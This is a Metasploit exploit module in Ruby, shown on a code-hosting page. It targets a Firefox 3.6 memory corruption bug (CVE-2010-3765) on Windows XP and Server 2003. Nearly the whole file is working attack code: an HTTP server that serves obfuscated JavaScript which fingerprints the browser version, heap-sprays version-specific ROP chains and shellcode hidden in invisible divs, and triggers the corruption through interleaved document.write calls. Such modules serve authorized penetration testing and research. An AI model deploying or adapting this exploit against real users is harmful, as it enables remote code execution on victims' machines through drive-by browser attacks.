PageRenderTime 66ms CodeModel.GetById 15ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/windows/browser/mozilla_interleaved_write.rb

https://bitbucket.org/DinoRex99/metasploit-framework
Ruby | 289 lines | 248 code | 20 blank | 21 comment | 44 complexity | 9a7b44c8b57fb322c632a8dcf5ddb94b MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, GPL-2.0
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = NormalRanking
  7. #
  8. # This module acts as an HTTP server
  9. #
  10. include Msf::Exploit::Remote::HttpServer::HTML
  11. #include Msf::Exploit::Remote::BrowserAutopwn
  12. #autopwn_info({
  13. # :ua_name => HttpClients::FF,
  14. # :ua_minver => "3.6.8",
  15. # :ua_maxver => "3.6.11",
  16. # :os_name => OperatingSystems::Match::WINDOWS,
  17. # :javascript => true,
  18. # :rank => NormalRanking,
  19. # :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
  20. #})
  21. def initialize(info = {})
  22. super(update_info(info,
  23. 'Name' => 'Mozilla Firefox Interleaved document.write/appendChild Memory Corruption',
  24. 'Description' => %q{
  25. This module exploits a code execution vulnerability in Mozilla
  26. Firefox caused by interleaved calls to document.write and appendChild.
  27. This module was written based on a live exploit found in the wild.
  28. },
  29. 'License' => MSF_LICENSE,
  30. 'Author' =>
  31. [
  32. 'unknown', # discovered in the wild
  33. 'scriptjunkie' # Metasploit module, functionality/portability fixes
  34. ],
  35. 'References' =>
  36. [
  37. ['CVE', '2010-3765'],
  38. ['OSVDB', '68905'],
  39. ['BID', '15352'],
  40. ['EDB', '15352'],
  41. ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'],
  42. ['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html']
  43. ],
  44. 'DefaultOptions' =>
  45. {
  46. 'EXITFUNC' => 'process',
  47. 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
  48. },
  49. 'Payload' =>
  50. {
  51. 'Space' => 1024,
  52. 'BadChars' => "",
  53. },
  54. 'Platform' => %w{ win },
  55. 'Targets' =>
  56. [
  57. # Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003
  58. [ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003',
  59. {
  60. 'Platform' => 'win',
  61. 'Arch' => ARCH_X86,
  62. }
  63. ],
  64. ],
  65. 'DefaultTarget' => 0,
  66. 'DisclosureDate' => 'Oct 25 2010'
  67. ))
  68. register_options(
  69. [
  70. OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
  71. ]
  72. )
  73. end
  74. def on_request_uri(cli, request)
  75. # Re-generate the payload
  76. return if ((p = regenerate_payload(cli)) == nil)
  77. print_status("Sending exploit HTML...")
  78. send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
  79. # Handle the payload
  80. handler(cli)
  81. end
  82. def generate_html(payload)
  83. enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  84. custom_js = %Q|
  85. function check(){
  86. var temp="";
  87. var user=navigator.userAgent.toLowerCase();
  88. var vara=user.indexOf("windows nt 6.1");
  89. var varb=user.indexOf("windows nt 6.0");
  90. var varc=user.indexOf("firefox/3.6.8");
  91. var vard=user.indexOf("firefox/3.6.9");
  92. var vare=user.indexOf("firefox/3.6.10");
  93. var varf=user.indexOf("firefox/3.6.11");
  94. if(vara==-1&&varb==-1&&varc!=-1&&vard==-1&&vare==-1&&varf==-1){
  95. temp="8";
  96. }
  97. else if(vara==-1&&varb==-1&&varc==-1&&vard!=-1&&vare==-1&&varf==-1){
  98. temp="9";
  99. }
  100. else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare!=-1&&varf==-1){
  101. temp="10";
  102. }
  103. else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare==-1&&varf!=-1){
  104. temp="11";
  105. }
  106. else {
  107. return temp="0";
  108. }
  109. return temp;
  110. }
  111. function dedede(argsu){
  112. var i;var sunb = "";
  113. for (i = 0; i < argsu.length; i++){
  114. sunb += String.fromCharCode(parseInt(argsu[i], 16));
  115. }
  116. return unescape(sunb);
  117. }
  118. function code(beastk){
  119. var nop = "";
  120. var len = beastk.length;
  121. for (i = 0; i < len;) {
  122. nop = nop + "m" + beastk.substring(i, i + 5);
  123. i = i + 5;
  124. }
  125. nop = nop.split("m").toString();
  126. var temp = new Array();
  127. for (j = 0; j < nop.length; j++) {
  128. if (nop.charCodeAt(j).toString(16) == "2c") {
  129. temp.push("25");
  130. }
  131. else {
  132. temp.push(nop.charCodeAt(j).toString(16));
  133. }
  134. }
  135. return dedede(temp);
  136. }
  137. function getatts(str){
  138. var cobj=document.createElement(str);
  139. cobj.id="testcase";
  140. document.body.appendChild(cobj);
  141. var obj=document.getElementById("testcase");
  142. var atts = new Array();
  143. for(p in obj){
  144. if(typeof(obj[p])=="string"){
  145. atts.push(p);
  146. }
  147. }
  148. document.body.removeChild(cobj);
  149. return atts;
  150. }
  151. var chk=check();
  152. var bk="mp.ojsyex5";
  153. var array = new Array();
  154. var ls = 0x100000-(bk.length*2+0x01020);
  155. var retaddr ="";//////////////////////111111111111111111111111111111
  156. if (chk == "0") {
  157. location.href = "about:blank";
  158. }
  159. else {
  160. if(chk=="8"){
  161. retaddr=code("u0d0du0d0d");
  162. }
  163. if(chk=="9"){
  164. retaddr=code("uef52u100a");
  165. }
  166. if(chk=="10"){
  167. retaddr=code("ub8b7u1029");
  168. }
  169. if(chk=="11"){
  170. retaddr=code("u4bc8u1000");
  171. }
  172. var ropstr = retaddr;
  173. while (ropstr.length < (0x85750 - 0x1000) / 2) {
  174. ropstr += retaddr
  175. };
  176. ///////////////////////////////2222222222222222222
  177. var sunb="";
  178. var sun8inner = document.getElementById("sun8").innerHTML;
  179. var sun9inner = document.getElementById("sun9").innerHTML;
  180. var sun10inner = document.getElementById("sun10").innerHTML;
  181. var sun11inner = document.getElementById("sun11").innerHTML;
  182. var shellcodes = document.getElementById("suv").innerHTML;
  183. if(chk=="8"){
  184. sunb=sun8inner;
  185. }
  186. if(chk=="9"){
  187. sunb=sun9inner;
  188. }
  189. if(chk=="10"){
  190. sunb=sun10inner;
  191. }
  192. if(chk=="11"){
  193. sunb=sun11inner;
  194. }
  195. ropstr += code(sunb + shellcodes);
  196. for (u = 0; u < 8; u++) {
  197. retaddr += retaddr;
  198. }
  199. while (ropstr.length < ls) {
  200. ropstr += retaddr;
  201. }
  202. var lefthalf = ropstr.substring(0, ls / 2);
  203. ropstr = "";
  204. for (i = 0; i < 0x200; i++) {
  205. array[i] = lefthalf + bk;
  206. }
  207. ////////////////////////////////////333333333333
  208. if(chk=="8"){
  209. retaddr=code("ub8a7u1029");
  210. }
  211. if(chk=="9"){
  212. retaddr=code("uab07u1006");
  213. }
  214. if(chk=="10"){
  215. retaddr=code("u8247u1009");
  216. }
  217. if(chk=="11"){
  218. retaddr=code("uf7e7u1017");
  219. }
  220. for (i = 0; i < 16; i++) {
  221. retaddr += retaddr;
  222. }
  223. ropstr = retaddr;
  224. while (ropstr.length < ls) {
  225. ropstr += retaddr;
  226. }
  227. lefthalf = ropstr.substring(0, ls / 2);
  228. ropstr = "";
  229. for (i = 0x200; i < 0x500; i++) {
  230. array[i] = lefthalf + bk;
  231. }
  232. var tags = new Array("audio", "a", "base");
  233. for (inx = 0; inx < 0x8964; inx++)
  234. for (i = 0; i < tags.length; i++) {
  235. var atts = getatts(tags[i]);
  236. for (j = 0; j < atts.length; j++) {
  237. var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
  238. document.write(html);
  239. }
  240. }
  241. }
  242. |
  243. if datastore['OBFUSCATE']
  244. opts = {
  245. 'Symbols' => {
  246. 'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr
  247. ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk },
  248. 'Methods' => %w{ getatts code check dedede }
  249. }
  250. }
  251. custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate(memory_sensitive: true)
  252. end
  253. return <<-EOS
  254. <html>
  255. <body>
  256. <div style="visibility:hidden;width:0px;height:0px">
  257. <div id=sun8>ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009</div>
  258. <div id=sun9>u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b</div>
  259. <div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016</div>
  260. <div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a</div>
  261. <div id=suv>#{enc_code.split("%").join}uffffuffffuffffuffff</div>
  262. </div>
  263. <body>
  264. <script type="text/javascript">
  265. #{custom_js}
  266. </script></body></html>
  267. EOS
  268. end
  269. end